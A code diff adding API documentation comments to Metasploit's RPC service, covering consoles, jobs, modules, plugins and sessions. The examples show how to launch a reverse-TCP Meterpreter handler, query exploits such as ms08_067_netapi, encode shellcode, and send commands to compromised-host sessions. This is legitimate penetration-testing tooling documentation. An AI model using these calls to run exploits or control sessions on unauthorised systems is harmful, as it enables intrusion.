@console_driver.consoles.each_key do |cid|
@ -33,6 +57,15 @@ class RPC_Console < RPC_Base
{'consoles' => ret}
end
# Deletes a framework console instance.
#
# @param [Fixnum] cid Framework console ID.
# @return [Hash] A result indicating whether the action was successful or not.
# It contains the following key:
# * 'result' [String] Either 'success' or 'failure'.
# @example Here's how you would use this from the client:
# rpc.call('console.destroy', 1)
def rpc_destroy(cid)
cid = cid.to_s
return { 'result' => 'failure' } if not @console_driver.consoles[cid]
@ -40,6 +73,21 @@ class RPC_Console < RPC_Base
{ 'result' => res ? 'success' : 'failure' }
end
# Returns the framework console output in raw form.
#
# @param [Fixnum] cid Framework console ID.
# @return [Hash] There are two different hashes you might get:
#
# If the console ID is invalid, you will get a hash like the following:
# * 'result' [String] A value that says 'failure'.
# If the console ID is valid, you will get a hash like the following:
# * 'data' [String] The output the framework console produces (example: the banner)
# * 'prompt' [String] The framework prompt (example: 'msf > ')
# * 'busy' [TrueClass] The console's busy state, or
# * 'busy' [FalseClass] The console's busy state.
# @example Here's how you would use this from the client:
# rpc.call('console.read', 1)
def rpc_read(cid)
cid = cid.to_s
return { 'result' => 'failure' } if not @console_driver.consoles[cid]
@ -50,18 +98,59 @@ class RPC_Console < RPC_Base
}
end
# Sends an input (such as a command) to the framework console.
#
# @param [Fixnum] cid Framework console ID.
# @param [String] data User input.
# @return [Hash] There are two different hashes you might get:
#
# If the console ID is invalid, you will get a hash like the following:
# * 'result' [String] A value that says 'failure'.
# If the console ID is invalid, you will get a hash like the following:
# * 'wrote' [Fixnum] Number of bytes sent.
# @note Remember to add a newline (\\r\\n) at the end of input, otherwise
# the console will not do anything. And you will need to use the
# #rpc_read method to retrieve the output again.
# @example Here's how you would use this from the client:
# # This will show the current module's options.
# rpc.call('console.write', 4, "show options\r\n")
def rpc_write(cid, data)
cid = cid.to_s
return { 'result' => 'failure' } if not @console_driver.consoles[cid]
{ "wrote" => @console_driver.write_console(cid, data || '') }
end
# Returns the tab-completed version of your input (such as a module path).
#
# @param [Fixnum] cid Framework console ID.
# @param [String] line Command.
# @return [Hash] There are two different hashes you might get:
#
# If the console ID is invalid, you will get a hash like the following:
# * 'result' [String] A value that says 'failure'.
# If the console ID is valid, you will get a hash like the following:
# * 'tabs' [String] The tab-completed version of the command.
# @example Here's how you would use this from the client:
# # This will return:
# # {"tabs"=>["use exploit/windows/smb/ms08_067_netapi"]}
# rpc.call('console.tabs', 4, "use exploit/windows/smb/ms08_067_")
def rpc_tabs(cid, line)
cid = cid.to_s
return { 'result' => 'failure' } if not @console_driver.consoles[cid]
{ "tabs" => @console_driver.consoles[cid].tab_complete(line) }
end
# Kills a framework session. This serves the same purpose as [CTRL]+[C] to abort an interactive session.
# You might also want to considering using the session API calls instead of this.
#
# @param [Fixnum] cid Framework console ID.
# @return [Hash] A hash indicating whether the action was successful or not. It contains:
# * 'result' [String] A message that says 'success' if the console ID is valid (and successfully killed, otherwise 'failed')
# @example Here's how you would use this from the client:
# rpc.call('console.session_kill', 4)
def rpc_session_kill(cid)
cid = cid.to_s
return { 'result' => 'failure' } if not @console_driver.consoles[cid]
@ -69,6 +158,15 @@ class RPC_Console < RPC_Base
{ 'result' => 'success' }
end
# Detaches a framework session. This serves the same purpose as [CTRL]+[Z] to
# background an interactive session.
#
# @param [Fixnum] cid Framework console ID.
# @return [Hash] A hash indicating whether the action was successful or not. It contains:
# * 'result' [String] A message that says 'success' if the console ID is valid (and successfully detached, otherwise 'failed')
# @example Here's how you would use this from the client:
# rpc.call('console.session_detach', 4)
def rpc_session_detach(cid)
cid = cid.to_s
return { 'result' => 'failure' } if not @console_driver.consoles[cid]

View File

@ -3,6 +3,14 @@ module Msf
module RPC
class RPC_Core < RPC_Base
# Returns the RPC service versions.
#
# @return [Hash] A hash that includes the version information:
# * 'version' [String] Framework version
# * 'ruby' [String] Ruby version
# * 'api' [String] API version
# @example Here's how you would use this from the client:
# rpc.call('core.version')
def rpc_version
{
"version" => ::Msf::Framework::Version,
@ -11,40 +19,117 @@ class RPC_Core < RPC_Base
}
end
# Stops the RPC service.
#
# @return [void]
# @example Here's how you would use this from the client:
# rpc.call('core.stop')
def rpc_stop
self.service.stop
end
# Returns a global datstore option.
#
# @param [String] var The name of the global datastore.
# @return [Hash] The global datastore option. If the option is not set, then the value is empty.
# @example Here's how you would use this from the client:
# rpc.call('core.getg', 'GlobalSetting')
def rpc_getg(var)
val = framework.datastore[var]
{ var.to_s => val.to_s }
end
# Sets a global datastore option.
#
# @param [String] var The hash key of the global datastore option.
# @param [String] val The value of the global datastore option.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] The successful message: 'success'
# @example Here's how you would use this from the client:
# rpc.call('core.setg', 'MyGlobal', 'foobar')
def rpc_setg(var, val)
framework.datastore[var] = val
{ "result" => "success" }
end
# Unsets a global datastore option.
#
# @param [String] var The global datastore option.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] The successful message: 'success'
# @example Here's how you would use this from the client:
# rpc.call('core.unsetg', 'MyGlobal')
def rpc_unsetg(var)
framework.datastore.delete(var)
{ "result" => "success" }
end
# Saves current framework settings.
#
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] The successful message: 'success'
# @example Here's how you would use this from the client:
# rpc.call('core.save')
def rpc_save
framework.save_config
{ "result" => "success" }
end
# Reloads framework modules. This will take some time to complete.
#
# @return [Hash] Module stats that contain the following keys:
# * 'exploits' [Fixnum] The number of exploits reloaded.
# * 'auxiliary' [Fixnum] The number of auxiliary modules reloaded.
# * 'post' [Fixnum] The number of post modules reloaded.
# * 'encoders' [Fixnum] The number of encoders reloaded.
# * 'nops' [Fixnum] The number of NOP modules reloaded.
# * 'payloads' [Fixnum] The number of payloads reloaded.
# @example Here's how you would use this from the client:
# rpc.call('core.reload_modules')
def rpc_reload_modules
framework.modules.reload_modules
rpc_module_stats()
end
# Adds a new local file system path (local to the server) as a module path. The module must be
# accessible to the user running the Metasploit service, and contain a top-level directory for
# each module type such as: exploits, nop, encoder, payloads, auxiliary, post. Also note that
# this will not unload modules that were deleted from the file system that were previously loaded.
#
# @param [String] path The new path to load.
# @return [Hash] Module stats that contain the following keys:
# * 'exploits' [Fixnum] The number of exploits loaded.
# * 'auxiliary' [Fixnum] The number of auxiliary modules loaded.
# * 'post' [Fixnum] The number of post modules loaded.
# * 'encoders' [Fixnum] The number of encoders loaded.
# * 'nops' [Fixnum] The number of NOP modules loaded.
# * 'payloads' [Fixnum] The number of payloads loaded.
# @example Here's how you would use this from the client:
# rpc.call('core.add_module_path', '/tmp/modules/')
def rpc_add_module_path(path)
framework.modules.add_module_path(path)
rpc_module_stats()
end
# Returns the module stats.
#
# @return [Hash] Module stats that contain the following keys:
# * 'exploits' [Fixnum] The number of exploits.
# * 'auxiliary' [Fixnum] The number of auxiliary modules.
# * 'post' [Fixnum] The number of post modules.
# * 'encoders' [Fixnum] The number of encoders.
# * 'nops' [Fixnum] The number of NOP modules.
# * 'payloads' [Fixnum] The number of payloads.
# @example Here's how you would use this from the client:
# rpc.call('core.module_stats')
def rpc_module_stats
{
'exploits' => framework.stats.num_exploits,
@ -56,6 +141,18 @@ class RPC_Core < RPC_Base
}
end
# Returns a list of framework threads.
#
# @return [Hash] A collection of threads. Each key is the thread ID, and the value is another hash
# that contains the following:
# * 'status' [String] Thread status.
# * 'critical' [Boolean] Thread is critical.
# * 'name' [String] Thread name.
# * 'started' [String] Timestamp of when the thread started.
# @example Here's how you would use this from the cient:
# # You will get something like this:
# # {0=>{"status"=>"sleep", "critical"=>false, "name"=>"StreamServerListener", "started"=>"2015-04-21 15:25:49 -0500"}}
# rpc.call('core.thread_list')
def rpc_thread_list
res = {}
framework.threads.each_index do |i|
@ -71,6 +168,13 @@ class RPC_Core < RPC_Base
res
end
# Kills a framework thread.
#
# @param [Fixnum] tid The thread ID to kill.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] A successful message: 'success'
# @example Here's how you would use this from the client:
# rpc.call('core.thread_kill', 10)
def rpc_thread_kill(tid)
framework.threads.kill(tid.to_i) rescue nil
{ "result" => "success" }

File diff suppressed because it is too large Load Diff

View File

@ -3,6 +3,14 @@ module Msf
module RPC
class RPC_Job < RPC_Base
# Returns a list of jobs.
#
# @return [Hash] A list of jobs (IDs and names).
# Each key is the job ID, and each value is the job name.
# @example Here's how you would use this from the client:
# # This will return ('0' is the job ID):
# # {"0"=>"Exploit: windows/browser/ms14_064_ole_code_execution"
# rpc.call('job.list')
def rpc_list
res = {}
self.framework.jobs.each do |j|
@ -11,6 +19,14 @@ class RPC_Job < RPC_Base
res
end
# Stops a job.
#
# @param [Fixnum] jid Job ID.
# @raise [Msf::RPC::Exception] A 500 response indicating an invalid job ID was given.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] A successful message: 'success'
# @example Here's how you would use this from the client:
# rpc.call('job.stop', 0)
def rpc_stop(jid)
obj = self.framework.jobs[jid.to_s]
error(500, "Invalid Job") if not obj
@ -18,6 +34,17 @@ class RPC_Job < RPC_Base
{ "result" => "success" }
end
# Returns information about a job.
#
# @param [Fixnum] jid Job ID.
# @raise [Msf::RPC::Exception] A 500 response indicating an invalid job ID was given.
# @return [Hash] A hash that contains information about the job, such as the following (and maybe more):
# * 'jid' [Fixnum] The Job ID.
# * 'name' [String] The name of the job.
# * 'start_time' [Fixnum] The start time.
# * 'datastore' [Hash] Datastore options for the module.
# @example Here's how you would use this from the client:
# rpc.call('job.info', 0)
def rpc_info(jid)
obj = self.framework.jobs[jid.to_s]
error(500, "Invalid Job") if not obj

View File

@ -4,30 +4,86 @@ module Msf
module RPC
class RPC_Module < RPC_Base
# Returns a list of exploit names. The 'exploit/' prefix will not be included.
#
# @return [Hash] A list of exploit names. It contains the following key:
# * 'modules' [Array<string>] Exploit names, for example: ['windows/wins/ms04_045_wins']
# @example Here's how you would use this from the client:
# rpc.call('module.exploits')
def rpc_exploits
{ "modules" => self.framework.exploits.keys }
end
# Returns a list of auxiliary module names. The 'auxiliary/' prefix will not be included.
#
# @return [Hash] A list of auxiliary module names. It contains the following key:
# * 'modules' [Array<string>] Auxiliary module names, for example: ['vsploit/pii/web_pii']
# @example Here's how you would use this from the client:
# rpc.call('module.auxiliary')
def rpc_auxiliary
{ "modules" => self.framework.auxiliary.keys }
end
# Returns a list of payload module names. The 'payload/' prefix will not be included.
#
# @return [Hash] A list of payload module names. It contains the following key:
# * 'modules' [Array<string>] Payload module names, for example: ['windows/x64/shell_reverse_tcp']
# @example Here's how you would use this from the client:
# rpc.call('module.payloads')
def rpc_payloads
{ "modules" => self.framework.payloads.keys }
end
# Returns a list of encoder module names. The 'encoder/' prefix will not be included.
#
# @return [Hash] A list of encoder module names. It contains the following key:
# * 'modules' [Array<string>] Encoder module names, for example: ['x86/unicode_upper']
# @example Here's how you would use this from the client:
# rpc.call('module.encoders')
def rpc_encoders
{ "modules" => self.framework.encoders.keys }
end
# Returns a list of NOP module names. The 'nop/' prefix will not be included.
#
# @return [Hash] A list of NOP module names. It contains the following key:
# * 'modules' [Array<string>] NOP module names, for example: ['x86/single_byte']
# @example Here's how you would use this from the client:
# rpc.call('module.nops')
def rpc_nops
{ "modules" => self.framework.nops.keys }
end
# Returns a list of post module names. The 'post/' prefix will not be included.
#
# @return [Hash] A list of post module names. It contains the following key:
# * 'modules' [Array<string>] Post module names, for example: ['windows/wlan/wlan_profile']
# @example Here's how you would use this from the client:
# rpc.call('module.post')
def rpc_post
{ "modules" => self.framework.post.keys }
end
# Returns the metadata for a module.
#
# @param [String] mtype Module type. Supported types include (case-sensitive):
# * exploit
# * auxiliary
# * post
# * nop
# * payload
# @param [String] mname Module name. For example: 'windows/wlan/wlan_profile'.
# @raise [Msf::RPC::Exception] Module not found (either the wrong type or name).
# @return [Hash] The module's metadata. The exact keys you will get depends on the module.
# @example Here's how you would use this from the client:
# # This gives us the metadata of ms08_067_netapi
# rpc.call('module.info', 'exploit', 'windows/smb/ms08_067_netapi')
def rpc_info(mtype, mname)
m = _find_module(mtype,mname)
res = {}
@ -74,6 +130,14 @@ class RPC_Module < RPC_Base
end
# Returns the compatible payloads for a specific exploit.
#
# @param [String] mname Exploit module name. For example: 'windows/smb/ms08_067_netapi'.
# @raise [Msf::RPC::Exception] Module not found (wrong name).
# @return [Hash] The exploit's compatible payloads. It contains the following key:
# * 'payloads' [Array<string>] A list of payloads. For example: ['generic/custom']
# @example Here's how you would use this from the client:
# rpc.call('module.compatible_payloads', 'windows/smb/ms08_067_netapi')
def rpc_compatible_payloads(mname)
m = _find_module('exploit',mname)
res = {}
@ -85,6 +149,15 @@ class RPC_Module < RPC_Base
res
end
# Returns the compatible sessions for a specific post module.
#
# @param [String] mname Post module name. For example: 'windows/wlan/wlan_profile'.
# @raise [Msf::RPC::Exception] Module not found (wrong name).
# @return [Hash] The post module's compatible sessions. It contains the following key:
# * 'sessions' [Array<Fixnum>] A list of session IDs.
# @example Here's how you would use this from the client:
# rpc.call('module.compatible_sessions', 'windows/wlan/wlan_profile')
def rpc_compatible_sessions(mname)
m = _find_module('post',mname)
res = {}
@ -93,6 +166,17 @@ class RPC_Module < RPC_Base
res
end
# Returns the compatible target-specific payloads for an exploit.
#
# @param [String] mname Exploit module name. For example: 'windows/smb/ms08_067_netapi'
# @param [Fixnum] target A specific target the exploit module provides.
# @raise [Msf::RPC::Exception] Module not found (wrong name).
# @return [Hash] The exploit's target-specific payloads. It contains the following key:
# * 'payloads' [Array<string>] A list of payloads.
# @example Here's how you would use this from the client:
# # Find all the compatible payloads for target 1 (Windows 2000 Universal)
# rpc.call('module.target_compatible_payloads', 'windows/smb/ms08_067_netapi', 1)
def rpc_target_compatible_payloads(mname, target)
m = _find_module('exploit',mname)
res = {}
@ -105,6 +189,21 @@ class RPC_Module < RPC_Base
res
end
# Returns the module's datastore options.
#
# @param [String] mtype Module type. Supported types include (case-sensitive):
# * exploit
# * auxiliary
# * post
# * nop
# * payload
# @param [String] mname Module name. For example: 'windows/wlan/wlan_profile'.
# @raise [Msf::RPC::Exception] Module not found (either wrong type or name).
# @return [Hash] The module's datastore options. This will actually give you each option's
# data type, requirement state, basic/advanced type, description, default value, etc.
# @example Here's how you would use this from the client:
# rpc.call('module.options', 'exploit', 'windows/smb/ms08_067_netapi')
def rpc_options(mtype, mname)
m = _find_module(mtype,mname)
res = {}
@ -131,6 +230,28 @@ class RPC_Module < RPC_Base
res
end
# Executes a module.
#
# @param [String] mtype Module type. Supported types include (case-sensitive):
# * exploit
# * auxiliary
# * post
# * payload
# @param [String] mname Module name. For example: 'windows/smb/ms08_067_netapi'.
# @param [Hash] opts Options for the module (such as datastore options).
# @raise [Msf::RPC::Exception] Module not found (either wrong type or name).
# @note If you get exploit sessions via the RPC service, know that only the RPC clients
# have access to those sessions. Framework msfconsole will not be able to use or
# even see these sessions, because it belongs to a different framework instance.
# However, this restriction does not apply to the database.
# @return [Hash] It contains the following keys:
# * 'job_id' [Fixnum] Job ID.
# * 'uuid' [String] UUID.
# @example Here's how you would use this from the client:
# # Starts a windows/meterpreter/reverse_tcp on port 6669
# opts = {'LHOST' => '0.0.0.0', 'LPORT'=>6669, 'PAYLOAD'=>'windows/meterpreter/reverse_tcp'}
# rpc.call('module.execute', 'exploit', 'multi/handler', opts)
def rpc_execute(mtype, mname, opts)
mod = _find_module(mtype,mname)
case mtype
@ -146,11 +267,44 @@ class RPC_Module < RPC_Base
end
# Returns a list of encoding formats.
#
# @return [Array<String>] Encoding foramts.
# @example Here's how you would use this from the client:
# rpc.call('module.encode_formats')
def rpc_encode_formats
# Supported formats
Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats
end
# Encodes data with an encoder.
#
# @param [String] data Data to encode.
# @param [encoder] encoder Encoder module name. For example: 'x86/single_byte'.
# @param [Hash] options Encoding options, such as:
# @option options [String] 'format' Encoding format.
# @option options [String] 'badchars' Bad characters.
# @option options [String] 'platform' Platform.
# @option options [String] 'arch' Architecture.
# @option options [Fixnum] 'ecount' Number of times to encode.
# @option options [TrueClass] 'inject' To enable injection.
# @option options [String] 'template' The template file (an executable).
# @option options [String] 'template_path' Template path.
# @option options [String] 'addshellcode' Custom shellcode.
# @raise [Msf::RPC::Exception] Error could be one of these:
# * 500 Invalid format
# * 500 Failure to encode
# @return The encoded data. It contains the following key:
# * 'encoded' [String] The encoded data in the format you specify.
# @example Here's how you would use this from the client:
# # This will encode 'AAAA' with shikata_ga_nai, and prints the following:
# # unsigned char buf[] =
# # "\xba\x9e\xb5\x91\x66\xdb\xd2\xd9\x74\x24\xf4\x5f\x29\xc9\xb1"
# # "\x01\x31\x57\x15\x03\x57\x15\x83\xc7\x04\xe2\x6b\xf4\xd0\x27";
# result = rpc.call('module.encode', 'AAAA', 'x86/shikata_ga_nai', {'format'=>'c'})
# puts result['encoded']
def rpc_encode(data, encoder, options)
# Load supported formats
supported_formats = Msf::Simple::Buffer.transform_formats + Msf::Util::EXE.to_executable_fmt_formats

View File

@ -3,8 +3,20 @@ module Msf
module RPC
class RPC_Plugin < RPC_Base
# Loads a plugin.
#
# @param [String] path The plugin filename (without the extension). It will try to find your plugin
# in either one of these directories:
# * msf/plugins/
# * ~/.msf4/plugins/
# @param [Hash] xopts Options to pass to the plugin.
# @return [Hash] A hash indicating whether the action was successful or not.
# It contains the following key:
# * 'result' [String] A value that either says 'success' or 'failure'.
# @example Here's how you would use this from the client:
# # Load the nexpose plugin
# rpc.call('plugin.load', 'nexpose')
def rpc_load(path, xopts = {})
opts = {}
xopts.each do |k,v|
@ -35,6 +47,15 @@ class RPC_Plugin < RPC_Base
end
# Unloads a plugin.
#
# @param [String] name The plugin filename (without the extension). For example: 'nexpose'.
# @return [Hash] A hash indicating whether the action was successful or not.
# It contains the following key:
# * 'result' [String] A value that either says 'success' or 'failure'.
# @example Here's how you would use this from the client:
# rpc.call('plugin.unload', 'nexpose')
def rpc_unload(name)
self.framework.plugins.each { |plugin|
# Unload the plugin if it matches the name we're searching for
@ -47,6 +68,13 @@ class RPC_Plugin < RPC_Base
end
# Returns a list of loaded plugins.
#
# @return [Hash] All the plugins loaded. It contains the following key:
# * 'plugins' [Array<string>] A list of plugin names.
# @example Here's how you would use this from the client:
# rpc.call('plugin.loaded')
def rpc_loaded
ret = {}
ret[:plugins] = []

View File

@ -6,6 +6,27 @@ module Msf
module RPC
class RPC_Session < RPC_Base
# Returns a list of sessions that belong to the framework instance used by the RPC service.
#
# @return [Hash] Information about sessions. Each key is the session ID, and each value is a hash
# that contains the following:
# * 'type' [String] Payload type. Example: meterpreter.
# * 'tunnel_local' [String] Tunnel (where the malicious traffic comes from).
# * 'tunnel_peer' [String] Tunnel (local).
# * 'via_exploit' [String] Name of the exploit used by the session.
# * 'desc' [String] Session description.
# * 'info' [String] Session info (most likely the target's computer name).
# * 'workspace' [String] Name of the workspace.
# * 'session_host' [String] Session host.
# * 'session_port' [Fixnum] Session port.
# * 'target_host' [String] Target host.
# * 'username' [String] Username.
# * 'uuid' [String] UUID.
# * 'exploit_uuid' [String] Exploit's UUID.
# * 'routes' [String] Routes.
# * 'platform' [String] Platform.
# @example Here's how you would use this from the client:
# rpc.call('session.list')
def rpc_list
res = {}
self.framework.sessions.each do |sess|
@ -34,6 +55,13 @@ class RPC_Session < RPC_Base
res
end
# Stops a session.
#
# @param [Fixnum] sid Session ID.
# @raise [Msf::RPC::Exception] Unknown session ID.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] A message that says 'success'.
def rpc_stop( sid)
s = self.framework.sessions[sid.to_i]
@ -44,11 +72,26 @@ class RPC_Session < RPC_Base
{ "result" => "success" }
end
# Shell read is now a positon-aware reader of the shell's associated
# ring buffer. For more direct control of the pointer into a ring
# buffer, a client can instead use ring_read, and note the returned
# sequence number on their own (making multiple views into the same
# session possible, regardless of position in the stream)
# Reads the output of a shell session (such as a command output).
#
# @note Shell read is now a positon-aware reader of the shell's associated
# ring buffer. For more direct control of the pointer into a ring
# buffer, a client can instead use ring_read, and note the returned
# sequence number on their own (making multiple views into the same
# session possible, regardless of position in the stream)
# @see #rpc_ring_read
# @param [Fixnum] sid Session ID.
# @param [Fixnum] ptr Pointer.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# * 500 Session is disconnected.
# @return [Hash] It contains the following keys:
# * 'seq' [String] Sequence.
# * 'data' [String] Read data.
# @example Here's how you would use this from the client:
# rpc.call('session.shell_read', 2)
def rpc_shell_read( sid, ptr=nil)
_valid_session(sid,"shell")
# @session_sequence tracks the pointer into the ring buffer
@ -63,12 +106,39 @@ class RPC_Session < RPC_Base
return ring_buffer
end
# shell_write is pretty much totally identical to ring_put
# Writes to a shell session (such as a command). Note that you will to manually add a newline at the
# enf of your input so the system will process it.
# You may want to use #rpc_shell_read to retrieve the output.
#
# @note shell_write is a wrapper of #rpc_ring_put.
# @see #rpc_ring_put
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# * 500 Session is disconnected.
# @param [Fixnum] sid Session ID.
# @param [String] data The data to write.
# @return [Hash]
# * 'write_count' [Fixnum] Number of bytes written.
# @example Here's how you would use this from the client:
# rpc.call('session.shell_write', 2, "DATA")
def rpc_shell_write( sid, data)
_valid_session(sid,"shell")
rpc_ring_put(sid,data)
end
# Upgrades a shell to a meterpreter.
#
# @note This uses post/multi/manage/shell_to_meterpreter.
# @param [Fixnum] sid Session ID.
# @param [String] lhost Local host.
# @param [Fixnum] lport Local port.
# @return [Hash] A hash indicating the actioin was successful. It contains the following key:
# * 'result' [String] A message that says 'success'
# @example Here's how you would use this from the client:
# rpc.call('session.shell_upgrade', 2, payload_lhost, payload_lport)
def rpc_shell_upgrade( sid, lhost, lport)
s = _valid_session(sid,"shell")
s.exploit_datastore['LHOST'] = lhost
@ -77,6 +147,20 @@ class RPC_Session < RPC_Base
{ "result" => "success" }
end
# Reads the output from a meterpreter session (such as a command output).
#
# @note Multiple concurrent callers writing and reading the same Meterperter session can lead to
# a conflict, where one caller gets the others output and vice versa. Concurrent access to a
# Meterpreter session is best handled by post modules.
# @param [Fixnum] sid Session ID.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# @return [Hash] It contains the following key:
# * 'data' [String] Data read.
# @example Here's how you would use this from the client:
# rpc.call('session.meterpreter_read', 2)
def rpc_meterpreter_read( sid)
s = _valid_session(sid,"meterpreter")
@ -88,6 +172,20 @@ class RPC_Session < RPC_Base
{ "data" => data }
end
# Reads from a session (such as a command output).
#
# @param [Fixnum] sid Session ID.
# @param [Fixnum] ptr Pointer.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# * 500 Session is disconnected.
# @return [Hash] It contains the following key:
# * 'seq' [String] Sequence.
# * 'data' [String] Read data.
# @example Here's how you would use this from the client:
# rpc.call('session.ring_read', 2)
def rpc_ring_read( sid, ptr=nil)
s = _valid_session(sid,"ring")
begin
@ -98,6 +196,19 @@ class RPC_Session < RPC_Base
end
end
# Sends an input to a session (such as a command).
#
# @param [Fixnum] sid Session ID.
# @param [String] data Data to write.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# * 500 Session is disconnected.
# @return [Hash] It contains the following key:
# * 'write_count' [String] Number of bytes written.
# @example Here's how you would use this from the client:
# rpc.call('session.ring_put', 2, "DATA")
def rpc_ring_put( sid, data)
s = _valid_session(sid,"ring")
begin
@ -108,11 +219,32 @@ class RPC_Session < RPC_Base
end
end
# Returns the last sequence (last issued ReadPointer) for a shell session.
#
# @param [Fixnum] sid Session ID.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# @return [Hash] It contains the following key:
# * 'seq' [String] Sequence.
# @example Here's how you would use this from the client:
# rpc.call('session.ring_last', 2)
def rpc_ring_last( sid)
s = _valid_session(sid,"ring")
{ "seq" => s.ring.last_sequence.to_s }
end
# Clears a shell session. This may be useful to reclaim memory for idle background sessions.
#
# @param [Fixnum] sid Session ID.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# @return [Hash] A hash indicating whether the action was successful or not. It contains:
# * 'result' [String] Either 'success' or 'failure'.
# @example Here's how you would use this from the client:
# rpc.call('session.ring_clear', 2)
def rpc_ring_clear( sid)
s = _valid_session(sid,"ring")
res = s.ring.clear_data
@ -123,9 +255,23 @@ class RPC_Session < RPC_Base
end
end
# Sends an input to a meterpreter prompt.
# You may want to use #rpc_meterpreter_read to retrieve the output.
#
# Run a single meterpreter console command
#
# @note Multiple concurrent callers writing and reading the same Meterperter session can lead to
# a conflict, where one caller gets the others output and vice versa. Concurrent access to a
# Meterpreter session is best handled by post modules.
# @param [Fixnum] sid Session ID.
# @param [String] data Input to the meterpreter prompt.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# @return [Hash] A hash indicating the action was successful or not. It contains the following key:
# * 'result' [String] Either 'success' or 'failure'.
# @see #rpc_meterpreter_run_single
# @example Here's how you would use this from the client:
# rpc.call('session.meterpreter_write', 2, "sysinfo")
def rpc_meterpreter_write( sid, data)
s = _valid_session(sid,"meterpreter")
@ -145,6 +291,17 @@ class RPC_Session < RPC_Base
{ "result" => "success" }
end
# Detaches from a meterpreter session. Serves the same purpose as [CTRL]+[Z].
#
# @param [Fixnum] sid Session ID.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# @return [Hash] A hash indicating the action was successful or not. It contains:
# * 'result' [String] Either 'success' or 'failure'.
# @example Here's how you would use this from the client:
# rpc.call('session.meterpreter_session_detach', 3)
def rpc_meterpreter_session_detach(sid)
s = _valid_session(sid,"meterpreter")
s.channels.each_value do |ch|
@ -156,6 +313,18 @@ class RPC_Session < RPC_Base
{ "result" => "failure" }
end
# Kills a meterpreter session. Serves the same purpose as [CTRL]+[C].
#
# @param [Fixnum] sid Session ID.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# @return [Hash] A hash indicating the action was successful or not.
# It contains the following key:
# * 'result' [String] Either 'success' or 'failure'.
# @example Here's how you would use this from the client:
# rpc.call('session.meterpreter_session_kill', 3)
def rpc_meterpreter_session_kill(sid)
s = _valid_session(sid,"meterpreter")
s.channels.each_value do |ch|
@ -167,12 +336,38 @@ class RPC_Session < RPC_Base
{ "result" => "failure" }
end
# Returns a tab-completed version of your meterpreter prompt input.
#
# @param [Fixnum] sid Session ID.
# @param [String] line Input.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# @return [Hash] The tab-completed result. It contains the following key:
# * 'tabs' [String] The tab-completed version of your input.
# @example Here's how you would use this from the client:
# # This returns:
# # {"tabs"=>["sysinfo"]}
# rpc.call('session.meterpreter_tabs', 3, 'sysin')
def rpc_meterpreter_tabs(sid, line)
s = _valid_session(sid,"meterpreter")
{ "tabs" => s.console.tab_complete(line) }
end
# runs a meterpreter command even if interacting with a shell or other channel
# Runs a meterpreter command even if interacting with a shell or other channel.
# You will want to use the #rpc_meterpreter_read to retrieve the output.
#
# @param [Fixnum] sid Session ID.
# @param [String] data Command.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] 'success'
# @example Here's how you would use this from the client:
# rpc.call('session.meterpreter_run_single', 3, 'getpid')
def rpc_meterpreter_run_single( sid, data)
s = _valid_session(sid,"meterpreter")
@ -184,16 +379,49 @@ class RPC_Session < RPC_Base
{ "result" => "success" }
end
# Runs a meterpreter script.
#
# @deprecated Metasploit no longer maintains or accepts meterpreter scripts. Please try to use
# post modules instead.
# @see Msf::RPC::RPC_Module#rpc_execute You should use Msf::RPC::RPC_Module#rpc_execute instead.
# @param [Fixnum] sid Session ID.
# @param [String] data Meterpreter script name.
# @return [Hash] A hash indicating the action was successful. It contains the following key:
# * 'result' [String] 'success'
# @example Here's how you would use this from the client:
# rpc.call('session.meterpreter_script', 3, 'checkvm')
def rpc_meterpreter_script( sid, data)
rpc_meterpreter_run_single( sid, "run #{data}")
end
# Returns the separator used by the meterpreter.
#
# @param [Fixnum] sid Session ID.
# @raise [Msf::RPC::Exception] An error that could be one of these:
# * 500 Session ID is unknown.
# * 500 Invalid session type.
# @return [Hash] A hash that contains the separator. It contains the following key:
# * 'separator' [String] The separator used by the meterpreter.
# @example Here's how you would use this from the client:
# # This returns:
# # {"separator"=>"\\"}
# rpc.call('session.meterpreter_directory_separator', 3)
def rpc_meterpreter_directory_separator(sid)
s = _valid_session(sid,"meterpreter")
{ "separator" => s.fs.file.separator }
end
# Returns all the compatible post modules for this session.
#
# @param [Fixnum] sid Session ID.
# @return [Hash] Post modules. It contains the following key:
# * 'modules' [Array<string>] An array of post module names. Example: ['post/windows/wlan/wlan_profile']
# @example Here's how you would use this from the client:
# rpc.call('session.compatible_modules', 3)
def rpc_compatible_modules( sid)
ret = []

View File

@ -32,10 +32,10 @@ module Msf::HTTP::Typo3::Login
end
n = n_match[1]
vprint_debug("e: #{e}")
vprint_debug("n: #{n}")
vprint_status("e: #{e}")
vprint_status("n: #{n}")
rsa_enc = typo3_helper_login_rsa(e, n, pass)
vprint_debug("RSA Hash: #{rsa_enc}")
